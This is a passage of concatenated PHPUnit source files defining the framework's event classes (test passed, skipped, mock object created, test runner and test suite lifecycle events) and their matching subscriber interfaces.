PHPUnit */ final class Passed implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Code\Test $test; public function __construct(Telemetry\Info $telemetryInfo, Code\Test $test) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Code\Test { return $this->test; } public function asString(): string { return sprintf( 'Test Passed (%s)', $this->test->id(), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface PassedSubscriber extends Subscriber { public function notify(Passed $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Skipped implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Code\Test $test; private readonly string $message; public function __construct(Telemetry\Info $telemetryInfo, Code\Test $test, string $message) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; $this->message = $message; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Code\Test { return $this->test; } public function message(): string { return $this->message; } public function asString(): string { $message = $this->message; if (!empty($message)) { $message = PHP_EOL . $message; } return sprintf( 'Test Skipped (%s)%s', $this->test->id(), $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface SkippedSubscriber extends Subscriber { public function notify(Skipped $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PrintedUnexpectedOutput implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var non-empty-string */ private readonly string $output; /** * @psalm-param non-empty-string $output */ public function __construct(Telemetry\Info $telemetryInfo, string $output) { $this->telemetryInfo = $telemetryInfo; $this->output = $output; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return non-empty-string */ public function output(): string { return $this->output; } public function asString(): string { return sprintf( 'Test Printed Unexpected Output%s%s', PHP_EOL, $this->output, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface PrintedUnexpectedOutputSubscriber extends Subscriber { public function notify(PrintedUnexpectedOutput $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class MockObjectCreated implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-param class-string $className */ public function __construct(Telemetry\Info $telemetryInfo, string $className) { $this->telemetryInfo = $telemetryInfo; $this->className = $className; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } public function asString(): string { return sprintf( 'Mock Object Created (%s)', $this->className, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface MockObjectCreatedSubscriber extends Subscriber { public function notify(MockObjectCreated $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class MockObjectForAbstractClassCreated implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-param class-string $className */ public function __construct(Telemetry\Info $telemetryInfo, string $className) { $this->telemetryInfo = $telemetryInfo; $this->className = $className; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } public function asString(): string { return sprintf( 'Mock Object Created (%s)', $this->className, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface MockObjectForAbstractClassCreatedSubscriber extends Subscriber { public function notify(MockObjectForAbstractClassCreated $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function implode; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class MockObjectForIntersectionOfInterfacesCreated implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var list */ private readonly array $interfaces; /** * @psalm-param list $interfaces */ public function __construct(Telemetry\Info $telemetryInfo, array $interfaces) { $this->telemetryInfo = $telemetryInfo; $this->interfaces = $interfaces; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @return list */ public function interfaces(): array { return $this->interfaces; } public function asString(): string { return sprintf( 'Mock Object Created (%s)', implode('&', $this->interfaces), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface MockObjectForIntersectionOfInterfacesCreatedSubscriber extends Subscriber { public function notify(MockObjectForIntersectionOfInterfacesCreated $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class MockObjectForTraitCreated implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var trait-string */ private readonly string $traitName; /** * @psalm-param trait-string $traitName */ public function __construct(Telemetry\Info $telemetryInfo, string $traitName) { $this->telemetryInfo = $telemetryInfo; $this->traitName = $traitName; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return trait-string */ public function traitName(): string { return $this->traitName; } public function asString(): string { return sprintf( 'Mock Object Created (%s)', $this->traitName, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface MockObjectForTraitCreatedSubscriber extends Subscriber { public function notify(MockObjectForTraitCreated $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class MockObjectFromWsdlCreated implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly string $wsdlFile; /** * @psalm-var class-string */ private readonly string $originalClassName; /** * @psalm-var class-string */ private readonly string $mockClassName; /** * @psalm-var list */ private readonly array $methods; private readonly bool $callOriginalConstructor; private readonly array $options; /** * @psalm-param class-string $originalClassName * @psalm-param class-string $mockClassName */ public function __construct(Telemetry\Info $telemetryInfo, string $wsdlFile, string $originalClassName, string $mockClassName, array $methods, bool $callOriginalConstructor, array $options) { $this->telemetryInfo = $telemetryInfo; $this->wsdlFile = $wsdlFile; $this->originalClassName = $originalClassName; $this->mockClassName = $mockClassName; $this->methods = $methods; $this->callOriginalConstructor = $callOriginalConstructor; $this->options = $options; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function wsdlFile(): string { return $this->wsdlFile; } /** * @psalm-return class-string */ public function originalClassName(): string { return $this->originalClassName; } /** * @psalm-return class-string */ public function mockClassName(): string { return $this->mockClassName; } /** * @psalm-return list */ public function methods(): array { return $this->methods; } public function callOriginalConstructor(): bool { return $this->callOriginalConstructor; } public function options(): array { return $this->options; } public function asString(): string { return sprintf( 'Mock Object Created (%s)', $this->wsdlFile, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface MockObjectFromWsdlCreatedSubscriber extends Subscriber { public function notify(MockObjectFromWsdlCreated $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PartialMockObjectCreated implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var list */ private readonly array $methodNames; /** * @psalm-param class-string $className */ public function __construct(Telemetry\Info $telemetryInfo, string $className, string ...$methodNames) { $this->telemetryInfo = $telemetryInfo; $this->className = $className; $this->methodNames = $methodNames; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return list */ public function methodNames(): array { return $this->methodNames; } public function asString(): string { return sprintf( 'Partial Mock Object Created (%s)', $this->className, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface PartialMockObjectCreatedSubscriber extends Subscriber { public function notify(PartialMockObjectCreated $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TestProxyCreated implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $className; private readonly string $constructorArguments; /** * @psalm-param class-string $className */ public function __construct(Telemetry\Info $telemetryInfo, string $className, string $constructorArguments) { $this->telemetryInfo = $telemetryInfo; $this->className = $className; $this->constructorArguments = $constructorArguments; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } public function constructorArguments(): string { return $this->constructorArguments; } public function asString(): string { return sprintf( 'Test Proxy Created (%s)', $this->className, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface TestProxyCreatedSubscriber extends Subscriber { public function notify(TestProxyCreated $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TestStubCreated implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @var class-string */ private readonly string $className; /** * @psalm-param class-string $className */ public function __construct(Telemetry\Info $telemetryInfo, string $className) { $this->telemetryInfo = $telemetryInfo; $this->className = $className; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @return class-string */ public function className(): string { return $this->className; } public function asString(): string { return sprintf( 'Test Stub Created (%s)', $this->className, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface TestStubCreatedSubscriber extends Subscriber { public function notify(TestStubCreated $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function implode; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TestStubForIntersectionOfInterfacesCreated implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var list */ private readonly array $interfaces; /** * @psalm-param list $interfaces */ public function __construct(Telemetry\Info $telemetryInfo, array $interfaces) { $this->telemetryInfo = $telemetryInfo; $this->interfaces = $interfaces; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @return list */ public function interfaces(): array { return $this->interfaces; } public function asString(): string { return sprintf( 'Test Stub Created (%s)', implode('&', $this->interfaces), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface TestStubForIntersectionOfInterfacesCreatedSubscriber extends Subscriber { public function notify(TestStubForIntersectionOfInterfacesCreated $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class BootstrapFinished implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly string $filename; public function __construct(Telemetry\Info $telemetryInfo, string $filename) { $this->telemetryInfo = $telemetryInfo; $this->filename = $filename; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function filename(): string { return $this->filename; } public function asString(): string { return sprintf( 'Bootstrap Finished (%s)', $this->filename, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface BootstrapFinishedSubscriber extends Subscriber { public function notify(BootstrapFinished $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; use PHPUnit\TextUI\Configuration\Configuration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Configured implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Configuration $configuration; public function __construct(Telemetry\Info $telemetryInfo, Configuration $configuration) { $this->telemetryInfo = $telemetryInfo; $this->configuration = $configuration; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function configuration(): Configuration { return $this->configuration; } public function asString(): string { return 'Test Runner Configured'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface ConfiguredSubscriber extends Subscriber { public function notify(Configured $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class DeprecationTriggered implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly string $message; public function __construct(Telemetry\Info $telemetryInfo, string $message) { $this->telemetryInfo = $telemetryInfo; $this->message = $message; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function message(): string { return $this->message; } public function asString(): string { return sprintf( 'Test Runner Triggered Deprecation (%s)', $this->message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface DeprecationTriggeredSubscriber extends Subscriber { public function notify(DeprecationTriggered $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class EventFacadeSealed implements Event { private readonly Telemetry\Info $telemetryInfo; public function __construct(Telemetry\Info $telemetryInfo) { $this->telemetryInfo = $telemetryInfo; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function asString(): string { return 'Event Facade Sealed'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface EventFacadeSealedSubscriber extends Subscriber { public function notify(EventFacadeSealed $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ExecutionAborted implements Event { private readonly Telemetry\Info $telemetryInfo; public function __construct(Telemetry\Info $telemetryInfo) { $this->telemetryInfo = $telemetryInfo; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function asString(): string { return 'Test Runner Execution Aborted'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface ExecutionAbortedSubscriber extends Subscriber { public function notify(ExecutionAborted $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ExecutionFinished implements Event { private readonly Telemetry\Info $telemetryInfo; public function __construct(Telemetry\Info $telemetryInfo) { $this->telemetryInfo = $telemetryInfo; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function asString(): string { return 'Test Runner Execution Finished'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface ExecutionFinishedSubscriber extends Subscriber { public function notify(ExecutionFinished $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; use PHPUnit\Event\TestSuite\TestSuite; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ExecutionStarted implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly TestSuite $testSuite; public function __construct(Telemetry\Info $telemetryInfo, TestSuite $testSuite) { $this->telemetryInfo = $telemetryInfo; $this->testSuite = $testSuite; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function testSuite(): TestSuite { return $this->testSuite; } public function asString(): string { return sprintf( 'Test Runner Execution Started (%d test%s)', $this->testSuite->count(), $this->testSuite->count() !== 1 ? 's' : '', ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface ExecutionStartedSubscriber extends Subscriber { public function notify(ExecutionStarted $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ExtensionBootstrapped implements Event { private readonly Telemetry\Info $telemetryInfo; /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var array */ private readonly array $parameters; /** * @psalm-param class-string $className * @psalm-param array $parameters */ public function __construct(Telemetry\Info $telemetryInfo, string $className, array $parameters) { $this->telemetryInfo = $telemetryInfo; $this->className = $className; $this->parameters = $parameters; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return array */ public function parameters(): array { return $this->parameters; } public function asString(): string { return sprintf( 'Extension Bootstrapped (%s)', $this->className, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface ExtensionBootstrappedSubscriber extends Subscriber { public function notify(ExtensionBootstrapped $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ExtensionLoadedFromPhar implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly string $filename; private readonly string $name; private readonly string $version; public function __construct(Telemetry\Info $telemetryInfo, string $filename, string $name, string $version) { $this->telemetryInfo = $telemetryInfo; $this->filename = $filename; $this->name = $name; $this->version = $version; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function filename(): string { return $this->filename; } public function name(): string { return $this->name; } public function version(): string { return $this->version; } public function asString(): string { return sprintf( 'Extension Loaded from PHAR (%s %s)', $this->name, $this->version, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface ExtensionLoadedFromPharSubscriber extends Subscriber { public function notify(ExtensionLoadedFromPhar $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Finished implements Event { private readonly Telemetry\Info $telemetryInfo; public function __construct(Telemetry\Info $telemetryInfo) { $this->telemetryInfo = $telemetryInfo; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function asString(): string { return 'Test Runner Finished'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface FinishedSubscriber extends Subscriber { public function notify(Finished $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class GarbageCollectionDisabled implements Event { private readonly Telemetry\Info $telemetryInfo; public function __construct(Telemetry\Info $telemetryInfo) { $this->telemetryInfo = $telemetryInfo; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function asString(): string { return 'Test Runner Disabled Garbage Collection'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface GarbageCollectionDisabledSubscriber extends Subscriber { public function notify(GarbageCollectionDisabled $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class GarbageCollectionEnabled implements Event { private readonly Telemetry\Info $telemetryInfo; public function __construct(Telemetry\Info $telemetryInfo) { $this->telemetryInfo = $telemetryInfo; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function asString(): string { return 'Test Runner Enabled Garbage Collection'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface GarbageCollectionEnabledSubscriber extends Subscriber { public function notify(GarbageCollectionEnabled $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class GarbageCollectionTriggered implements Event { private readonly Telemetry\Info $telemetryInfo; public function __construct(Telemetry\Info $telemetryInfo) { $this->telemetryInfo = $telemetryInfo; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function asString(): string { return 'Test Runner Triggered Garbage Collection'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface GarbageCollectionTriggeredSubscriber extends Subscriber { public function notify(GarbageCollectionTriggered $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Started implements Event { private readonly Telemetry\Info $telemetryInfo; public function __construct(Telemetry\Info $telemetryInfo) { $this->telemetryInfo = $telemetryInfo; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function asString(): string { return 'Test Runner Started'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface StartedSubscriber extends Subscriber { public function notify(Started $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class WarningTriggered implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly string $message; public function __construct(Telemetry\Info $telemetryInfo, string $message) { $this->telemetryInfo = $telemetryInfo; $this->message = $message; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function message(): string { return $this->message; } public function asString(): string { return sprintf( 'Test Runner Triggered Warning (%s)', $this->message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestRunner; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface WarningTriggeredSubscriber extends Subscriber { public function notify(WarningTriggered $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestSuite; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Filtered implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly TestSuite $testSuite; public function __construct(Telemetry\Info $telemetryInfo, TestSuite $testSuite) { $this->telemetryInfo = $telemetryInfo; $this->testSuite = $testSuite; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function testSuite(): TestSuite { return $this->testSuite; } public function asString(): string { return sprintf( 'Test Suite Filtered (%d test%s)', $this->testSuite->count(), $this->testSuite->count() !== 1 ? 's' : '', ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestSuite; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface FilteredSubscriber extends Subscriber { public function notify(Filtered $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestSuite; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Finished implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly TestSuite $testSuite; public function __construct(Telemetry\Info $telemetryInfo, TestSuite $testSuite) { $this->telemetryInfo = $telemetryInfo; $this->testSuite = $testSuite; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function testSuite(): TestSuite { return $this->testSuite; } public function asString(): string { return sprintf( 'Test Suite Finished (%s, %d test%s)', $this->testSuite->name(), $this->testSuite->count(), $this->testSuite->count() !== 1 ? 's' : '', ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestSuite; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface FinishedSubscriber extends Subscriber { public function notify(Finished $event): void; } * * For the full copyright and license information, please 